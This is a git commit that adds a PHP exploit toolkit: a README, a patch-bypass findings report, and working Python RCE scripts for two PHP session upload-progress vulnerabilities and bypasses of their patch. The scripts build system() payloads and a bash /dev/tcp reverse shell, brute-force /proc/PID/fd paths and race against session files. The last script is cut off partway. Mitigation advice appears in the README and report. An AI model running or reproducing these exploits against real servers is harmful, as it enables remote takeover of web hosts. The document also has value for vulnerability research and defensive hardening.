PHP session upload progress RCE exploits (CVE-2026-109618, CVE-2026-109619)

Full RCE exploit chain for two critical PHP vulnerabilities in the multipart
parser and session upload progress handler, plus three bypass exploits that
defeat the official security patch (PHP 8.4.27) and all recommended mitigations.

Core exploits:
- CVE-2026-109618: OOM in multipart parser → session persistence → LFI → RCE
- CVE-2026-109619: Session poisoning via upload progress (direct + race) → RCE
- WordPress-targeted wrapper with LFI auto-detection

Patch bypass exploits (confirmed RCE on PHP 8.4.27):
- Race condition: TOCTOU inherent to upload progress feature design
- RLIMIT_AS: mmap() failure bypasses the patched OOM handler
- /proc/PID/fd: temp file inclusion bypasses ALL mitigations
This commit is contained in:
neko
2026-10-21 11:29:40 -05:00
commit e58bb493af
16 changed files with 3113 additions and 0 deletions
+32
View File
@@ -0,0 +1,32 @@
# PHP builds
php-build/
php83/
php8427/
# WordPress core
wordpress/*.php
wordpress/wp-admin/
wordpress/wp-includes/
wordpress/wp-content/themes/
wordpress/wp-content/uploads/
wordpress/wp-content/plugins/akismet/
wordpress/wp-content/plugins/hello.php
wordpress/wp-content/index.php
wordpress/wp-content/plugins/index.php
wordpress/license.txt
wordpress/readme.html
wordpress/wp-config.php
wordpress/wp-config-sample.php
# Lab configs (generate your own)
*.conf
!.gitignore
# Docker
docker-compose.yml
# Runtime
*.pid
*.log
*.sock
__pycache__/
+121
View File
@@ -0,0 +1,121 @@
# php2shell — CVE-2026-109618 & CVE-2026-109619
Remote Code Execution exploits for two critical PHP vulnerabilities in the
multipart parser and session upload progress handler. Includes three bypass
exploits that defeat the official security patch and all recommended mitigations.
**No external dependencies** — pure Python 3 stdlib.
## Vulnerabilities
**CVE-2026-109618** — OOM in the multipart parser (`rfc1867.c`) triggers
`zend_bailout()`, which longjmps past `MULTIPART_EVENT_END` and skips session
cleanup. A session file poisoned via `PHP_SESSION_UPLOAD_PROGRESS` persists on
disk with attacker-controlled PHP code. LFI includes it for RCE.
**CVE-2026-109619** — `PHP_SESSION_UPLOAD_PROGRESS` writes attacker-controlled
data verbatim into the session file. With `cleanup=0`, or via race condition
against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
**Affected:** PHP 8.0–8.4 (all platforms). Patched in 8.4.27, 8.3.36, 8.2.35.
## Exploits
| Script | Target | Description |
|--------|--------|-------------|
| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE |
| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE |
| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs |
| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload |
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
## Prerequisites
- Python 3.8+
- Target running PHP-FPM with `session.upload_progress.enabled=1` (default)
- A Local File Inclusion vector in the target application
- Known or guessable `session.save_path` (common: `/tmp`, `/var/lib/php/sessions`)
## Usage
```bash
# CVE-2026-109618: OOM exploit
python3 cve-2026-109618/exploit.py -t http://target/app.php --cmd 'id'
python3 cve-2026-109618/exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
python3 cve-2026-109618/exploit.py -t http://target/app.php --trigger-only
# Use --no-chunked when nginx has fastcgi_request_buffering off
# Use --fields / --field-size to tune OOM threshold for target memory_limit
# CVE-2026-109619: Session poisoning (direct or race)
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page --race
# WordPress (auto-detects LFI parameter)
python3 wordpress-exploit/exploit_wp.py -t http://target/ --cmd 'id'
python3 wordpress-exploit/exploit_wp.py -t http://target/ --mode race --cmd 'id'
# Patch bypass: race condition on PHP 8.4.27+
python3 bypass/race_bypass_patched.py -t http://target/app.php --cmd 'id'
# Patch bypass: RLIMIT_AS mmap failure on PHP 8.4.27+ (memory_limit=-1 + OS limits)
python3 bypass/rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
# Hardening bypass: /proc/fd — defeats ALL mitigations including upload_progress=0
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
```
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
Use `--session-path` and `--lfi-param` to override auto-detection.
## Patch Bypass Findings
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
**1. Race condition (TOCTOU)** — Session upload progress data exists on disk
during file upload. Cleanup only runs at `MULTIPART_EVENT_END`. A concurrent LFI
request includes the file during the upload window. Inherent to the feature design.
**2. RLIMIT_AS / mmap() failure** — The patch intercepts OOM from PHP's
`memory_limit` but not from OS-level limits. With `memory_limit=-1` and
RLIMIT_AS or cgroup memory limits, `mmap()` fails through an unpatched code
path. Worker exits code 1 (not the patched code 70), session persists.
**3. /proc/PID/fd temp file** — During multipart upload, PHP's temp file is
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
poisoning needed. **Bypasses every recommended mitigation.**
### Mitigation Matrix
| Mitigation | Race | RLIMIT | /proc/fd |
|---|---|---|---|
| Patch alone | FAIL | FAIL | FAIL |
| + `upload_progress=0` | OK | OK | **FAIL** |
| + `hidepid=2` on /proc | FAIL | FAIL | OK |
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK |
| Fix the LFI | OK | OK | OK |
### Recommendations
1. Set `session.upload_progress.enabled=0` in php.ini
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
3. Fix any LFI vulnerabilities in applications
4. Set `open_basedir` to restrict filesystem access
## WordPress
The WordPress exploit requires a plugin that calls `session_start()` and has an
LFI vector. Two demo plugins are included:
- `wordpress-exploit/vuln-plugin.php` — Minimal mu-plugin with session + LFI
- `wordpress/wp-content/plugins/developer-toolkit/` — Realistic plugin with
template preview, log viewer, and session-based features
Install as mu-plugin: `cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/`
## Disclaimer
For authorized security testing and research only. Obtain proper authorization
before testing against any system you do not own.
+101
View File
@@ -0,0 +1,101 @@
# PHP 8.4.27 Patch Bypass Findings
## Summary
The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)
for CVE-2026-109618 and CVE-2026-109619 has **three confirmed bypass paths** that
achieve Remote Code Execution on fully patched systems.
The advisory's recommended mitigation `session.upload_progress.enabled=0` blocks
two of the three bypasses but is itself defeated by the third.
## Bypass #1: Race Condition (TOCTOU)
**File:** `race_bypass_patched.py`
**Confirmed RCE:** Yes, first attempt
**Patches bypassed:** PHP 8.4.27 OOM fix
**Mitigations bypassed:** session.upload_progress.cleanup=1
The session upload progress feature writes attacker-controlled data to the session
file on disk *during* the multipart upload. Cleanup only runs at `MULTIPART_EVENT_END`.
A concurrent LFI request can race to include the session file while the upload is
still in progress.
This is a TOCTOU (Time-of-Check-Time-of-Use) issue inherent to the feature's
design — the data must exist on disk for the feature to work, creating a window
that cannot be eliminated without removing the feature.
**Blocked by:** `session.upload_progress.enabled=0`
## Bypass #2: RLIMIT_AS / mmap() Failure
**File:** `rlimit_bypass_patched.py`
**Confirmed RCE:** Yes
**Patches bypassed:** PHP 8.4.27 OOM fix (different code path)
**Mitigations bypassed:** Standard memory_limit-based OOM handling
The patch intercepts OOM from PHP's `memory_limit` (via zend_mm allocator).
When `memory_limit=-1` and the OS enforces address space limits via `RLIMIT_AS`
(or cgroup memory.max), `mmap()` fails through a **different code path** that
the patch does not cover.
- Worker exits with code **1** (not the patched exit code **70**)
- Session file **persists** on disk with attacker-controlled PHP code
- New worker spawns → LFI includes poisoned session → RCE
Relevant in production:
- Docker/k8s containers with cgroup memory limits
- Shared hosting with per-tenant RLIMIT_AS
- Admins using `memory_limit=-1` trusting OS-level limits
**Blocked by:** `session.upload_progress.enabled=0`
## Bypass #3: /proc/PID/fd Temp File Inclusion
**File:** `procfd_bypass_hardened.py`
**Confirmed RCE:** Yes, first attempt
**Patches bypassed:** ALL patches
**Mitigations bypassed:** ALL mitigations including `upload_progress=0`
During a multipart file upload, PHP creates a temporary file with attacker-
controlled contents. This file is visible via `/proc/<pid>/fd/<N>` to any
process that can read procfs. A concurrent LFI request from a different FPM
worker can include this file directly.
This attack does NOT use session poisoning at all — it bypasses every
session-related mitigation.
**Blocked by:**
- Fixing the LFI vulnerability
- `hidepid=2` on /proc mount (hides other processes' FDs)
- `open_basedir` restricting /proc access
- Disabling file uploads entirely (impractical)
## Mitigation Effectiveness Matrix
| Mitigation | Race | RLIMIT | /proc/fd |
|-------------------------------|------|--------|----------|
| PHP 8.4.27 patch alone | FAIL | FAIL | FAIL |
| + upload_progress=0 | OK | OK | FAIL |
| + hidepid=2 on /proc | FAIL | FAIL | OK |
| + upload_progress=0 + hidepid | OK | OK | OK |
| Fix the LFI | OK | OK | OK |
## Tested Vectors That Did NOT Bypass the Patch
- **Multipart part header flood:** OOM triggered but the patch handles it
correctly (exit code 70, session file cleaned up)
- **WAF bypass via PUT/PATCH:** Passes POST-only WAF rules but PHP's
`session.upload_progress` only fires on POST requests
- **Content-Type comma tricks:** Pass WAF matching but PHP doesn't parse
as multipart/form-data
- **Access log poisoning:** Works conceptually but fragile (previous log
entries may cause PHP parse errors)
## Recommendations
1. **Immediate:** Set `session.upload_progress.enabled=0` in php.ini
2. **Immediate:** Mount /proc with `hidepid=2` (or `hidepid=invisible` on newer kernels)
3. **Critical:** Fix any Local File Inclusion vulnerabilities in applications
4. **Defense in depth:** Set `open_basedir` to restrict filesystem access
5. **Do NOT rely on the patch alone** — it leaves two bypass paths open
+363
View File
@@ -0,0 +1,363 @@
#!/usr/bin/env python3
"""
Hardening Bypass: RCE via /proc/PID/fd temp file inclusion
This exploit bypasses ALL recommended mitigations for CVE-2026-109618/109619,
including the security patch AND session.upload_progress.enabled=0.
It does NOT use session poisoning at all. Instead, it exploits the fact that
during a multipart file upload, PHP creates a temporary file whose contents
are attacker-controlled. This file is visible via /proc/<pid>/fd/<N> to any
process that can read procfs (i.e., any PHP process on the same host).
Attack flow:
1. Send a multipart POST with a file upload containing PHP code
2. While the upload is in progress (slow drip), the temp file exists as an
open file descriptor on the receiving FPM worker
3. Determine the worker PID (leaked via phpinfo(), getmypid(), error messages,
or brute-forced from a narrow PID range)
4. From a DIFFERENT FPM worker, include /proc/<PID>/fd/<N> via LFI
5. PHP interprets the temp file contents → RCE
Why this bypasses everything:
- No session poisoning → session.upload_progress.enabled=0 is irrelevant
- No OOM needed → the PHP 8.4.27 OOM patch is irrelevant
- No session file persistence → session.upload_progress.cleanup=1 is irrelevant
- Standard multipart upload → WAF rules need to block ALL file uploads
Limitations:
- Requires /proc mounted and readable (standard on Linux, not on BSD/Mac)
- Requires knowing or brute-forcing the target worker's PID
- Requires multiple FPM workers (upload worker != LFI worker)
- FD number is typically 4-7 but may vary
Real-world PID discovery:
- phpinfo() page (common on staging/dev servers)
- Application leaking PID in response (getmypid())
- PHP error messages may include PID
- /proc/sys/kernel/pid_max is usually 32768 → brute-forceable
- Container PID namespaces have small PID ranges (often 1-100)
Tested: PHP 8.4.27 (patched + hardened, upload_progress=0)
Usage:
python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
python3 procfd_bypass_hardened.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
"""
import argparse
import base64
import os
import re
import socket
import sys
import threading
import time
from urllib.parse import urlparse
def tcp_connect(host, port, tls, timeout=60):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def body_of(resp):
if b"\r\n\r\n" in resp:
return resp.split(b"\r\n\r\n", 1)[1]
return resp
def discover_pids(host, port, tls, path, count=20):
"""Discover FPM worker PIDs by making requests and parsing pid= from response."""
pids = set()
for _ in range(count):
try:
sock = tcp_connect(host, port, tls, timeout=10)
sock.sendall(
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout=3)
sock.close()
body = body_of(resp)
m = re.search(rb"pid=(\d+)", body)
if m:
pids.add(int(m.group(1)))
except Exception:
continue
return sorted(pids)
def slow_upload(host, port, tls, path, php_code, duration=15.0, started=None, done=None):
"""Send slow multipart upload to keep temp file FD open."""
bnd = b"----PROCFDRCE" + os.urandom(4).hex().encode()
head = (
b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="payload.php"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
+ php_code + b"\n"
)
file_size = 4 * 1024 * 1024
tail = b"\r\n--" + bnd + b"--\r\n"
total = len(head) + file_size + len(tail)
try:
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Connection: close\r\n\r\n"
+ head
)
if started:
started.set()
sent = 0
t0 = time.time()
while sent < file_size and (time.time() - t0) < duration:
if done and done.is_set():
break
sock.sendall(b"\x00" * 4096)
sent += 4096
time.sleep(0.04)
sock.sendall(tail)
except Exception:
pass
try:
recv_all(sock, timeout=2)
except Exception:
pass
try:
sock.close()
except Exception:
pass
def lfi_probe(host, port, tls, path, lfi_param, proc_path):
"""Send LFI request targeting a /proc path."""
lfi_url = f"{path}?{lfi_param}={proc_path}"
try:
sock = tcp_connect(host, port, tls, timeout=10)
sock.sendall(
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout=5)
sock.close()
return body_of(resp)
except Exception:
return b""
def run(args):
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
if args.trigger_only:
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
elif args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
elif args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
sys.exit(1)
print("=" * 65)
print(" HARDENING BYPASS: /proc/PID/fd Temp File RCE")
print(" Bypasses patch + upload_progress=0 + session cleanup")
print("=" * 65)
print(f" Target : {args.target}")
print(f" LFI param : {args.lfi_param}")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
# Discover worker PIDs
if args.pid:
pids = [args.pid]
print(f"[*] Using specified PID: {args.pid}")
else:
print("[*] Discovering FPM worker PIDs...")
pids = discover_pids(host, port, tls, path, count=30)
if not pids:
print("[!] Could not discover PIDs (target may not echo pid)")
print(" Try --pid <pid> or --pid-range <start>-<end>")
if args.pid_range:
start, end = map(int, args.pid_range.split("-"))
pids = list(range(start, end + 1))
print(f" Using PID range: {start}-{end}")
else:
sys.exit(1)
else:
print(f" Found PIDs: {pids}")
print()
fd_range = range(args.fd_start, args.fd_end + 1)
for attempt in range(args.attempts):
print(f"[*] Attempt {attempt+1}/{args.attempts}")
started = threading.Event()
done = threading.Event()
# Launch slow uploads on multiple threads to occupy workers
threads = []
for i in range(args.upload_threads):
t = threading.Thread(
target=slow_upload,
args=(host, port, tls, path, php_code, 15.0,
started if i == 0 else None, done),
daemon=True,
)
t.start()
threads.append(t)
started.wait(timeout=5)
time.sleep(0.5)
print(f" {args.upload_threads} slow uploads in progress")
hit = False
for probe_round in range(args.probes):
if hit:
break
for pid in pids:
if hit:
break
for fd in fd_range:
proc_path = f"/proc/{pid}/fd/{fd}"
rbody = lfi_probe(host, port, tls, path, args.lfi_param, proc_path)
if b"CVE2026:" in rbody:
text = rbody.decode(errors="replace")
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
print(f"\n[+] Code execution confirmed!")
if m:
print(f" {m.group(1)}")
elif args.cmd:
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
result = m.group(1).strip() if m else text[:500]
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(result)
print("[+] ══════════════════════════════════════════")
else:
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
print()
print(f"[+] Via: {proc_path}")
print("[+] RCE achieved WITHOUT session poisoning!")
print("[+] Bypasses: security patch, upload_progress=0,")
print("[+] session cleanup, WAF session rules")
print("[+] Only mitigation: disable file uploads entirely,")
print("[+] mount /proc with hidepid=2, or fix the LFI")
hit = True
break
if not hit and probe_round < args.probes - 1:
time.sleep(0.01)
done.set()
for t in threads:
t.join(timeout=3)
if hit:
return
print(f" No hit — upload may have finished or wrong PID/FD range")
print()
print("[!] All attempts failed.")
print(" Try: --pid <known_pid> --fd-start 3 --fd-end 10")
print(" Or: --upload-threads 3 --probes 200")
def main():
ap = argparse.ArgumentParser(
description="Hardening Bypass: RCE via /proc/PID/fd temp file (Linux only)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
This exploit does NOT use session poisoning. It includes the PHP temp file
created during a multipart upload via /proc/<pid>/fd/<N>.
It bypasses ALL recommended mitigations:
- PHP 8.4.27 security patch
- session.upload_progress.enabled=0
- session.upload_progress.cleanup=1
- WAF rules blocking session-related headers
The only defenses are:
- Fix the LFI vulnerability
- Mount /proc with hidepid=2 (hides other processes' FDs)
- Disable file uploads entirely (not practical for most apps)
- Use open_basedir to restrict /proc access
Examples:
%(prog)s -t http://target/app.php --cmd 'id'
%(prog)s -t http://target/app.php --cmd 'id' --pid 12345
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/app.php --trigger-only --pid-range 1-100
""")
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vulnerability only")
ap.add_argument("--lfi-param", default="page",
help="LFI query parameter (default: page)")
ap.add_argument("--pid", type=int,
help="Known target worker PID")
ap.add_argument("--pid-range",
help="PID range to brute-force, e.g. 1-100")
ap.add_argument("--fd-start", type=int, default=3,
help="First FD to probe (default: 3)")
ap.add_argument("--fd-end", type=int, default=10,
help="Last FD to probe (default: 10)")
ap.add_argument("--upload-threads", type=int, default=2,
help="Concurrent slow uploads (default: 2)")
ap.add_argument("--probes", type=int, default=100,
help="LFI probe rounds per attempt (default: 100)")
ap.add_argument("--attempts", type=int, default=5,
help="Number of attempts (default: 5)")
args = ap.parse_args()
run(args)
if __name__ == "__main__":
main()
+265
View File
@@ -0,0 +1,265 @@
#!/usr/bin/env python3
"""
Patch Bypass: RCE via session upload progress race condition on PHP 8.4.27+
The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)
fixes CVE-2026-109618 (OOM-based session persistence) by replacing longjmp()
with a soft/hard OOM that ensures proper cleanup.
However, the session upload progress race condition is NOT fixed by the patch.
This is because the race window is inherent to the feature's design:
1. PHP_SESSION_UPLOAD_PROGRESS writes attacker-controlled data to the session
file on disk during multipart parsing (MULTIPART_EVENT_START/UPDATE)
2. The session file contains: upload_progress_<PHP_CODE>|a:5:{serialized_data}
3. The data persists on disk for the duration of the file upload
4. Cleanup only runs at MULTIPART_EVENT_END when parsing completes
5. A concurrent request can include the session file via LFI during this window
The patch fixes the OOM path (where cleanup was skipped entirely) but does not
close this inherent TOCTOU race. The advisory acknowledges this by recommending
session.upload_progress.enabled=0 even after patching.
Requirements:
- PHP-FPM (or mod_php) with session.upload_progress.enabled=1 (DEFAULT)
- An LFI vector in the target application
- Known or guessable session.save_path
- Multiple FPM workers (pm.max_children > 1)
Tested: PHP 8.4.27 (patched), PHP 8.4.24 (unpatched), PHP 8.3.0
Usage:
python3 race_bypass_patched.py -t http://target/app.php --cmd 'id'
python3 race_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
"""
import argparse
import base64
import os
import re
import socket
import sys
import threading
import time
from urllib.parse import urlparse
SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
]
def tcp_connect(host, port, tls, timeout=60):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def body_of(resp):
if b"\r\n\r\n" in resp:
return resp.split(b"\r\n\r\n", 1)[1]
return resp
def slow_upload(host, port, tls, path, sid, php_code, duration=10.0):
"""Send slow multipart upload to keep session file populated on disk."""
bnd = b"----RACEBYPASS" + os.urandom(4).hex().encode()
head = (
b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
b"\r\n" + php_code + b"\r\n"
b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
)
file_size = 4 * 1024 * 1024
tail = b"\r\n--" + bnd + b"--\r\n"
total = len(head) + file_size + len(tail)
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
+ head
)
sent = 0
t0 = time.time()
try:
while sent < file_size and (time.time() - t0) < duration:
sock.sendall(b"\x00" * 4096)
sent += 4096
time.sleep(0.04)
sock.sendall(tail)
except:
pass
try:
recv_all(sock, timeout=2)
except:
pass
sock.close()
def lfi_probe(host, port, tls, lfi_path, sid):
"""Send LFI request and return response body."""
sock = tcp_connect(host, port, tls, timeout=10)
sock.sendall(
b"GET " + lfi_path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout=5)
sock.close()
return resp
def run(args):
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
spaths = list(SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
if args.trigger_only:
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
elif args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
elif args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
sys.exit(1)
print("=" * 65)
print(" PATCH BYPASS: Race Condition RCE on PHP 8.4.27+ (patched)")
print(" Session upload progress race — NOT fixed by the 2026-10-21 patch")
print("=" * 65)
print(f" Target : {args.target}")
print(f" LFI param : {args.lfi_param}")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
for attempt in range(args.attempts):
sid = os.urandom(16).hex()
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
t = threading.Thread(
target=slow_upload,
args=(host, port, tls, path, sid, php_code, 10.0),
daemon=True,
)
t.start()
time.sleep(0.3)
hit = False
for i in range(400):
if not t.is_alive():
break
for sp in spaths:
sess_file = f"{sp}/sess_{sid}"
lfi_path = f"{path}?{args.lfi_param}={sess_file}"
try:
resp = lfi_probe(host, port, tls, lfi_path, sid)
rbody = body_of(resp)
if b"CVE2026:" in rbody:
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)",
rbody.decode(errors="replace"))
print(f"\n[+] Code execution confirmed!")
if m:
print(f" {m.group(1)}")
elif args.cmd:
m = re.search(r"CVE2026:(.*?):END",
rbody.decode(errors="replace"), re.DOTALL)
result = m.group(1).strip() if m else rbody.decode(errors="replace")[:500]
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(result)
print("[+] ══════════════════════════════════════════")
else:
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
print()
print("[+] RCE achieved against PATCHED PHP!")
print("[+] The 2026-10-21 security patch does NOT fix this.")
print("[+] Mitigation: session.upload_progress.enabled=0")
hit = True
break
except:
pass
if hit:
break
time.sleep(0.005)
t.join(timeout=2)
if hit:
return
print(f" Race lost")
print("\n[!] All attempts failed. Try --attempts 20 or --session-path")
def main():
ap = argparse.ArgumentParser(
description="Patch Bypass: RCE via session race on PHP 8.4.27+ (patched)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
This exploit demonstrates that the PHP security patch (2026-10-21)
does NOT fix the session upload progress race condition.
The only effective mitigation is: session.upload_progress.enabled=0
Examples:
%(prog)s -t http://target/app.php --cmd 'id'
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
""")
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vulnerability only")
ap.add_argument("--lfi-param", default="page",
help="LFI query parameter (default: page)")
ap.add_argument("--session-path",
help="session.save_path on target")
ap.add_argument("--attempts", type=int, default=10,
help="Race attempts (default: 10)")
args = ap.parse_args()
run(args)
if __name__ == "__main__":
main()
+312
View File
@@ -0,0 +1,312 @@
#!/usr/bin/env python3
"""
Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+ (patched)
The PHP security patch (2026-10-21) replaces longjmp()-based OOM handling with:
- Soft OOM: deferred to VM safe point (graceful shutdown)
- Hard OOM: immediate _exit(70) when allocation fails during parsing
However, this patch only intercepts OOM from PHP's memory_limit (zend_mm).
When memory_limit=-1 (unlimited) and the OS enforces address space limits via
RLIMIT_AS (setrlimit/ulimit -v/cgroup memory.max), mmap() fails during
multipart field allocation. This failure goes through a DIFFERENT code path
that the patch does NOT cover:
1. PHP has memory_limit=-1 → no PHP-level OOM possible
2. RLIMIT_AS (or cgroup memory limit) restricts process address space
3. During multipart parsing, mmap() fails when address space is exhausted
4. The failure triggers the OLD vulnerable code path (not the patched one)
5. Worker exits with code 1 (not the patched exit code 70)
6. Session file persists on disk with attacker-controlled PHP code
7. New worker spawns → LFI includes the poisoned session file → RCE
This is relevant in production because:
- Container environments (Docker, k8s) often set memory limits via cgroups
- Shared hosting uses RLIMIT_AS to isolate tenants
- Admins may set memory_limit=-1 trusting OS-level limits instead
- The advisory does NOT mention this bypass path
Requirements:
- PHP-FPM with memory_limit=-1 (or very high)
- OS-level memory limit (RLIMIT_AS, cgroup, Docker --memory)
- session.upload_progress.enabled=1 (DEFAULT)
- An LFI vector in the target application
- Known or guessable session.save_path
Tested: PHP 8.4.27 (patched) with RLIMIT_AS=128MB
Usage:
python3 rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
python3 rlimit_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
"""
import argparse
import base64
import os
import re
import socket
import sys
import time
from urllib.parse import urlparse
SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
]
def tcp_connect(host, port, tls, timeout=120):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def body_of(resp):
if b"\r\n\r\n" in resp:
return resp.split(b"\r\n\r\n", 1)[1]
return resp
def build_oom_body(bnd, php_code, field_count=10000, field_size=8192):
"""Build multipart body designed to exhaust address space via mmap()."""
body = b""
body += b"--" + bnd + b"\r\n"
